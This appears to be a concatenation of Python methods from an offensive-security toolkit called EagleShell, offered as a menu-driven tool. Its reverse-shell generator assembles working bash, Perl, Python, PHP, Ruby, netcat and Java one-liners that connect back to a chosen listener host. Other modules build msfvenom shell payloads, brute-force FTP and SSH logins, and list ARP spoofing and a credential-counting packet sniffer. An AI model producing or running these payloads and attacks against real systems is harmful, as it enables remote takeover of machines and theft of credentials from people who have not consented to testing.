def configuration(self): try: brutessh_header() print('Configuration:') print('\n\tHost Input') print('\tExample: 192.168.1.123') print('\n\tUser Input:') print('\tExample: admin') print('\n\tWordlist Input') print('\tExample: /usr/share/wordlists/mypasswords.txt') print('\n\tZ): Back') print('\tX): Exit\n') while True: self.host_set = input(rhost_prefix).lower() if self.host_set == 'z': BruteForce() elif self.host_set == 'x': Exit() self.user_set = input(user_prefix) if self.user_set == 'z' or self.user_set == 'Z': BruteForce() elif self.user_set == 'x' or self.user_set == 'Z': Exit() self.wordlist_set = input(wordlist_prefix) if self.wordlist_set == 'z' or self.wordlist_set == 'Z': BruteForce() elif self.wordlist_set == 'x' or self.wordlist_set == 'X': Exit() break except KeyboardInterrupt: Exit()
def result(self): try: packetsniff_header() print('Result:') print('\n\tInput') print('\t-----') print('\tINTERFACE: ' + GREEN + self.interface_set + WHITE) print('\n\tOutput') print('\t------') print('\tTOTAL REQUESTS: ' + GREEN + str(self.total_requests) + WHITE) print('\tTOTAL CREDENTIALS: ' + GREEN + str(self.total_credentials) + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': PacketSniff() elif cmd == 'z': Network() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result(self): try: rsgen_header() print('Output:') print('\n\tPAYLOAD: ' + GREEN + self.shell_set + WHITE) print('\tLHOST: ' + GREEN + self.lhost_set + WHITE) print('\tLPORT: ' + GREEN + self.lport_set + WHITE) print('\n\tOUTPUT: ' + GREEN + self.output + WHITE) pyperclip.copy(self.output) if len(self.output2) > 1: print('\tOUTPUT 2: ' + GREEN + self.output2 + WHITE) print(GREEN + '\n\t[+] Output 1 Copied to Clipboard' + WHITE) else: print(GREEN + '\n\t[+] Output Copied to Clipboard' + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': RSGen() elif cmd == 'z': Exploitation() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: enumeration_header() print('Scripts:') print('\n\t1): BR4NCH - Linux PE Enumeration Script') print('\n\tZ): Back') print('\tX): Exit\n') while True: enumeration_select = input(eagleshell_prefix).lower() if enumeration_select == '1': print( YELLOW + '\n\tYou can download our PE Enum Script on our Github Page:' + RESET + BLUE + '\n\thttps://github.com/TRSTN4/BR4NCH\n' + RESET) elif enumeration_select == 'z': from ..scripts import Scripts Scripts() elif enumeration_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: network_header() print('Scripts:') print('\n\t1): MAChanger - MAC Address Changer') print('\t2): ARPSpoof - ARP Spoofer') print('\t3): PacketSniff - Packet Sniffer') print('\n\tZ): Back') print('\tX): Exit\n') while True: network_select = input(eagleshell_prefix).lower() if network_select == '1': from modules.scripts.network.machanger import MAChanger MAChanger() elif network_select == '2': from modules.scripts.network.arpspoof import ARPSpoof ARPSpoof() elif network_select == '3': from modules.scripts.network.packetsniff import PacketSniff PacketSniff() elif network_select == 'z': from ..scripts import Scripts Scripts() elif network_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def payloads(self): try: pgen_header() print('Payloads:') print('\n\t1): Binaries Payloads') print('\t2): Web Payloads') print('\t3): Scripting Payloads') print('\n\tZ): Back') print('\tX): Exit\n') while True: linux_shells_select = input(shell_prefix).lower() if linux_shells_select == '1': self.os_binaries_payloads() elif linux_shells_select == '2': self.web_payloads() elif linux_shells_select == '3': self.scripting_payloads() elif linux_shells_select == 'z': Exploitation() elif linux_shells_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def os_binaries_payloads(self): try: pgen_header() print('OS:') print('\n\t1): Linux') print('\t2): Windows') print('\t3): Mac') print('\n\tZ): Back') print('\tX): Exit\n') while True: binaries_payloads_os_select = input(os_prefix).lower() if binaries_payloads_os_select == '1': self.linux_binaries_payloads() elif binaries_payloads_os_select == '2': self.windows_binaries_payloads() elif binaries_payloads_os_select == '3': self.mac_binaries_payloads() elif binaries_payloads_os_select == 'z': Exploitation() elif binaries_payloads_os_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result(self): try: pgen_header() print('Output:') print('\n\tPAYLOAD: ' + GREEN + self.payload + WHITE) if len(self.lhost_set) >= 1: print('\tLHOST: ' + GREEN + self.lhost_set + WHITE) elif len(self.rhost_set) >= 1: print('\tRHOST: ' + GREEN + self.rhost_set + WHITE) else: pass if len(self.lport_set) >= 1: print('\tLPORT: ' + GREEN + self.lport_set + WHITE) else: pass print('\n\tOUTPUT: ' + GREEN + self.output_set + '/' + self.name_set + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: self.cmd = input(eagleshell_prefix).lower() if self.cmd == 'y': PGen() elif self.cmd == 'z': Exploitation() elif self.cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def mac_binaries_payloads(self): try: pgen_header() print('Payloads:') print('\n\tBinaries Payloads') print('\t----------------------------') print('\t1): Mac Reverse Shell') print('\t2): Mac Bind Shell') print('\n\tZ): Back') print('\tX): Exit\n') while True: mac_payloads_binaries_select = input(payload_prefix).lower() if mac_payloads_binaries_select == '1': self.lhost_set = input(lhost_prefix).lower() self.lport_set = input(lport_prefix).lower() self.payload = 'Mac Reverse Shell' self.cmd = 'msfvenom -p osx/x86/shell_reverse_tcp LHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho' self.generatate() elif mac_payloads_binaries_select == '2': self.lhost_set = input(lhost_prefix).lower() self.lport_set = input(lport_prefix).lower() self.payload = 'Mac Bind Shell' self.cmd = 'msfvenom -p osx/x86/shell_bind_tcp RHOST=' + self.lhost_set + ' LPORT=' + self.lport_set + ' -f macho -o ' + self.output_set + '/' + self.name_set + '.macho' self.generatate() elif mac_payloads_binaries_select == 'z': Exploitation() elif mac_payloads_binaries_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: brute_force_header() print('Scripts:') print('\n\t1): BruteSSH - Brute Force SSH ' + RED + '* NOT RECOMMENDED *' + RESET + WHITE) print('\t2): BruteFTP - Brute Force FTP ' + RED + '* NOT RECOMMENDED *' + RESET + WHITE) print('\n\tZ): Back') print('\tX): Exit\n') while True: privilege_escalation_select = input(eagleshell_prefix).lower() if privilege_escalation_select == '1': from modules.scripts.brute_force.brutessh import BruteSSH BruteSSH() elif privilege_escalation_select == '2': from modules.scripts.brute_force.bruteftp import BruteFTP BruteFTP() elif privilege_escalation_select == 'z': from ..scripts import Scripts Scripts() elif privilege_escalation_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def system(self): try: rsgen_header() print('System:') print('\n\t1): Linux') print('\t2): Windows') print('\n\tZ): Back') print('\tX): Exit\n') while True: system_select = input(system_prefix).lower() if system_select == '1': self.system_set = '/bin/sh -i' break elif system_select == '2': self.system_set = 'cmd.exe' break elif system_select == 'z': Exploitation() elif system_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result(self): try: brutessh_header() if self.succ_fail: color = GREEN else: color = RED print('Result:') print('\n\tHOST: ' + color + self.host_set + WHITE) print('\n\tUSERNAME: '******'\n\tPASSWORD: '******'\n\tWORDLIST: ' + color + self.wordlist_set + WHITE) print('\n\tPASSWORDS TRIED: ' + color + str(self.password_tried) + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': BruteSSH() elif cmd == 'z': BruteForce() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def configuration(self): try: imgextract_header() print('Configuration:') print('\n\tPaste Your URL') print('\tExample 1: http://mysite.com') print('\tExample 2: mysite.com') print('\n\tZ): Back') print('\tX): Exit\n') self.url_set = input(url_prefix) if self.url_set == 'z' or self.url_set == 'Z': Web() elif self.url_set == 'x' or self.url_set == 'X': Exit() if 'http://' in self.url_set or 'https://' in self.url_set: pass else: self.url_set = 'http://' + self.url_set imgextract_header() print('Configuration:') print('\n\tChoose Storage Path') print('\tExample: /opt/img/') print('\n\tZ): Back') print('\tX): Exit\n') self.path_set = input(path_prefix) if self.path_set == 'z' or self.path_set == 'Z': Web() elif self.path_set == 'x' or self.path_set == 'X': Exit() except KeyboardInterrupt: Exit()
def result(self): try: machanger_header() if self.succ_fail == True: color = GREEN else: color = RED print('Result:') print('\n\tINTERFACE SET: ' + color + self.interface_set + WHITE) print('\n\tMAC SET: ' + color + self.mac_set + WHITE) print('\n\t---------------------------------------------') print('\n\tRESULT: ' + color + self.confirmed + WHITE) print('\n\tCURRENT MAC: ' + color + self.current_mac + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': MAChanger() elif cmd == 'z': Network() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: scanning_header() print('Scripts:') print('\n\t1): NetScan - Network Scanner') print('\t2): PortScan - Port Scanner') print('\n\tZ): Back') print('\tX): Exit\n') while True: scanning_select = input(eagleshell_prefix).lower() if scanning_select == '1': from modules.scripts.scanning.netscan import NetScan NetScan() elif scanning_select == '2': from modules.scripts.scanning.portscan import PortScan PortScan() elif scanning_select == 'z': from ..scripts import Scripts Scripts() elif scanning_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: exploitation_header() print('Scripts:') print('\n\t1): RSGen - Reverse Shell Generator') print('\t2): PGen - Payload Generator ' + RED + '* REQUIRES MSFVenom *' + RESET + WHITE) print('\n\tZ): Back') print('\tX): Exit \n') while True: exploitation_select = input(eagleshell_prefix).lower() if exploitation_select == '1': from modules.scripts.exploitation.rsgen import RSGen RSGen() elif exploitation_select == '2': from modules.scripts.exploitation.pgen import PGen PGen() elif exploitation_select == 'z': from ..scripts import Scripts Scripts() elif exploitation_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def configuration(self): try: link_extractor_header() print('Configuration:') print('\n\tPaste Your URL') print('\tExample 1: http://mysite.com') print('\tExample 2: mysite.com') print('\n\tZ): Back') print('\tX): Exit\n') self.url_set = input(url_prefix) if self.url_set == 'z' or self.url_set == 'Z': Extracting() elif self.url_set == 'x' or self.url_set == 'X': Exit() if 'http://' in self.url_set or 'https://' in self.url_set: pass else: self.url_set = 'http://' + self.url_set link_extractor_header() print('Output:') print('\n\tControls') print('\t--------') print('\tStop: CTRL+C\n') self.crawl(self.url_set) self.result() except KeyboardInterrupt: Exit()
def result(self): try: link_extractor_header() print('Result:') print(GREEN, "\n\tTotal Internal Links:", len(self.internal_urls), WHITE) print(MAGENTA, "\tTotal External Links:", len(self.external_urls), WHITE) print(BLUE, "\tTotal URLs:", len(self.external_urls) + len(self.internal_urls), WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(webfarm_prefix).lower() if cmd == 'y': LinkExtractor() elif cmd == 'z': Extracting() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def file_hashing_input(self): try: hashing_header() print('Input:') print('\n\tFile Path') print('\tExample: /tmp/images/car.jpeg') print('\n\tZ): Back') print('\tX): Exit\n') self.hashing_file_path = input(path_prefix) if self.hashing_file_path == 'z' or self.hashing_file_path == 'Z': Miscellaneous() elif self.hashing_file_path == 'x' or self.hashing_file_path == 'X': Exit() else: self.hashing_file() self.result_file() except KeyboardInterrupt: Exit() except FileNotFoundError: print(invalid_input_prefix) os.system('sleep 1') self.file_hashing_input() except IsADirectoryError: print(invalid_input_prefix) os.system('sleep 1') self.file_hashing_input()
def __init__(self): try: cryptography_header() print('Scripts:') print('\n\t1): Hashing - Text and File Hashing') print('\t2): SOON - Crypt - Encrypter and Decrypter') print('\n\tZ): Back') print('\tX): Exit\n') while True: web_select = input(eagleshell_prefix).lower() if web_select == '1': from modules.scripts.cryptography.hashing import Hashing Hashing() elif web_select == '2': pass elif web_select == 'z': from ..scripts import Scripts Scripts() elif web_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result_text(self): try: hashing_header() print('Output:') print('\n\tText Input: ' + str(self.hashing_text_set) + '\n') print(RED + "\tMD5:", hashlib.md5(self.message).hexdigest()) print(GREEN + "\tSHA-256:", hashlib.sha256(self.message).hexdigest()) print(YELLOW + "\tSHA-512:", hashlib.sha512(self.message).hexdigest()) print(BLUE + "\tSHA-3-256:", hashlib.sha3_256(self.message).hexdigest()) print(MAGENTA + "\tSHA-3-512:", hashlib.sha3_512(self.message).hexdigest()) print(CYAN + "\tBLAKE2c:", hashlib.blake2s(self.message).hexdigest()) print(CYAN + "\tBLAKE2b:", hashlib.blake2b(self.message).hexdigest() + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': Hashing() elif cmd == 'z': Miscellaneous() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result(self): try: portscan_header() print('Output:\n') if len(self.port_list) < 1: print('\tRHOST: ' + RED + BOLD + self.rhost_set + WHITE) else: print('\tRHOST: ' + GREEN + BOLD + self.rhost_set + WHITE) if len(self.port_list) < 1: print('\n\tOPEN PORTS: ' + RED + BOLD + 'NONE' + WHITE) else: print('\n\tOPEN PORTS: ' + GREEN + BOLD + format(self.port_list).replace('[', '').replace( ']', '').replace("'", '') + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': PortScan() elif cmd == 'z': Scanning() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def result(self, results_list): try: netscan_header() print('Result:\n') print("\tIP\t\t\tMAC Address") print('\t-----------------------------------------') for client in results_list: if len(client["ip"]) < 8: pass else: print('\t' + GREEN + BOLD + client["ip"] + "\t\t" + client["mac"] + WHITE) print('\n\tY): New') print('\tZ): Menu') print('\tX): Exit\n') while True: cmd = input(eagleshell_prefix).lower() if cmd == 'y': NetScan() elif cmd == 'z': Scanning() elif cmd == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: web_header() print('Scripts:') print('\n\t1): LinkExtract - Extract All Website Links') print('\t2): IMGExtract - Extract All Website Images') print('\t3): SubScan - Sub Domain Scanner') print('\n\tZ): Back') print('\tX): Exit\n') while True: web_select = input(eagleshell_prefix).lower() if web_select == '1': from modules.scripts.web.linkextract import LinkExtract LinkExtract() if web_select == '2': from modules.scripts.web.imgextract import IMGExtract IMGExtract() elif web_select == '3': from modules.scripts.web.subscan import SubScan SubScan() elif web_select == 'z': from ..scripts import Scripts Scripts() elif web_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def payload(self): try: rsgen_header() print('Payload:') print('\n\t1): Bash') print('\t2): Perl') print('\t3): Python') print('\t4): PHP') print('\t5): Ruby') print('\t6): Netcat') print('\t7): Java') print('\n\tZ): Back') print('\tX): Exit\n') while True: shell_select = input(payload_prefix).lower() if shell_select == '1': self.shell_set = 'Bash' self.output = self.system_set + ' >& /dev/tcp/' + self.lhost_set + '/' + self.lport_set + ' 0>&1' break elif shell_select == '2': self.shell_set = 'Perl' self.output = "perl -e 'use Socket;$i="'"' + self.lhost_set + '"'";$p=" + self.lport_set + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname("'"tcp"'"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"'">&S"'");open(STDOUT,"'">&S"'");open(STDERR,"'">&S"'");exec("'"' + self.system_set + '"'");};'" break elif shell_select == '3': self.shell_set = 'Python' self.output = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'"' + self.lhost_set + '"'"," + self.lport_set + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["'"' + self.system_set + '"'"]);'" break elif shell_select == '4': self.shell_set = 'PHP' self.output = "php -r '$sock=fsockopen("'"' + self.lhost_set + '"'',' + self.lport_set + ');exec("' + self.system_set + ' <&3 >&3 2>&3");'"'" break elif shell_select == '5': self.shell_set = 'Ruby' self.output = "ruby -rsocket -e'f=TCPSocket.open("'"' + self.lhost_set + '"'',' + self.lport_set + ').to_i;exec sprintf("' + self.system_set + ' <&%d >&%d 2>&%d",f,f,f)'"'" break elif shell_select == '6': self.shell_set = 'Netcat' self.output = 'nc -e ' + self.system_set + ' ' + self.lhost_set + ' ' + self.lport_set self.output2 = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|' + self.system_set + ' 2>&1|nc ' + self.lhost_set + ' ' + self.lport_set + ' >/tmp/f' break elif shell_select == '7': self.shell_set = 'Java' part1 = 'r = Runtime.getRuntime()' part2 = '\np = r.exec(["' + self.system_set + '","-c","exec 5<>/dev/tcp/' + self.lhost_set + '/' + self.lport_set + ';cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])' part3 = '\np.waitFor()' self.output = part1 + part2 + part3 break elif shell_select == 'z': Exploitation() elif shell_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def __init__(self): try: scripts_header() print('Options:') print('\n\t1): Scanning') print('\t2): Enumeration') print('\t3): Exploitation') print('\t4): Privilege Escalation') print('\t5): Brute Force') print('\t6): Network') print('\t7): Web') print('\t8): Miscellaneous') print('\n\tZ): Back') print('\tX): Exit\n') while True: scripts_select = input(eagleshell_prefix).lower() if scripts_select == '1': from .scanning.scanning import Scanning Scanning() elif scripts_select == '2': from .enumeration.enumeration import Enumeration Enumeration() elif scripts_select == '3': from .exploitation.exploitation import Exploitation Exploitation() elif scripts_select == '4': from .privilege_escalation.privilege_escalation import PrivilegeEscalation PrivilegeEscalation() elif scripts_select == '5': from .brute_force.brute_force import BruteForce BruteForce() elif scripts_select == '6': from .network.network import Network Network() elif scripts_select == '7': from .web.web import Web Web() elif scripts_select == '8': from .miscellaneous.miscellaneous import Miscellaneous Miscellaneous() elif scripts_select == '9': from .miscellaneous.miscellaneous import Miscellaneous Miscellaneous() elif scripts_select == 'z': from ..modules import Modules Modules() elif scripts_select == 'x': Exit() else: print(invalid_input_prefix) continue except KeyboardInterrupt: Exit()
def configuration(self): try: portscan_header() print('RHOST:') print('\n\tExample: 192.168.1.128') print('\n\tZ): Back') print('\tX): Exit\n') self.rhost_set = input(rhost_prefix).lower() if self.rhost_set == 'z': Scanning() elif self.rhost_set == 'x': Exit() except KeyboardInterrupt: Exit()
def __init__(self): try: setup_header() print('Update:\n') print(WHITE + '\tAre you ready to setup EagleShell? ' + GREEN + 'Y' + WHITE + '/' + RED + 'N') print(WHITE + '\t--------------------------------------------\n') setup_select = input(eagleshell_prefix).lower() if setup_select == 'yes' or setup_select == 'y': print(GREEN + '\n[+] Installing EagleShell...') packages = ['os', 'queue', 'ftplib', 'threading', 'paramiko', 'socket', 'time', 'cryptography', 'hashlib', 'netifaces', 'pyperclip', 'PIL', 'scapy', 'sys', 'netfilterqueue', 'subprocess', 're', 'requests', 'tqdm', 'beautifulsoup4', 'urllib'] for package in packages: print(GREEN + "\n[+] Installing '" + package + "' Python Package.") os.system('pip install ' + package + ' >/dev/null 2>&1') os.system('pip3 install ' + package + ' >/dev/null 2>&1') print(GREEN + '\n[+] Install Complete!' + RESET) os.system('sleep 3') os.system(clear_screen) exit() else: print(RED + '\n[-] Setup cancelled.' + RESET) os.system('sleep 3') os.system(clear_screen) exit() except KeyboardInterrupt: Exit()
def connect_ftp(self): try: while True: password = self.q.get() server = ftplib.FTP() self.password_tried = self.password_tried + 1 print('\tPASSWORDS TRIED: ' + str(self.password_tried), end='\r') try: server.connect(self.host_set, int(self.rport_set), timeout=5) server.login(self.user_set, password) except ftplib.error_perm: pass else: self.password_found = password with self.q.mutex: self.q.queue.clear() self.q.all_tasks_done.notify_all() self.q.unfinished_tasks = 0 self.result() except OSError: print(unable_to_connect_prefix) os.system('sleep 2') Exit() except KeyboardInterrupt: self.result()
def sub_scan(self): try: subscan_header() print('Output:') print('\n\tControls') print('\t--------') print('\tStop: CTRL+C\n') self.total_found = 0 domain = self.web_set file = open(self.sub_list_set) content = file.read() subdomains = content.splitlines() for subdomain in subdomains: url = f"http://" + subdomain + "." + domain try: requests.get(url) except requests.exceptions.HTTPError: pass else: print(YELLOW + BOLD + '\t[+] ' + GREEN + BOLD + 'Discovered SubDomain ' + WHITE + BOLD + '>> ' + BLUE + BOLD + str(url)) self.total_found = self.total_found + 1 except UnicodeError: print(RED + '[+] Wordlist Size Too Big..' + WHITE) os.system('sleep 2') Exit() except KeyboardInterrupt: self.result()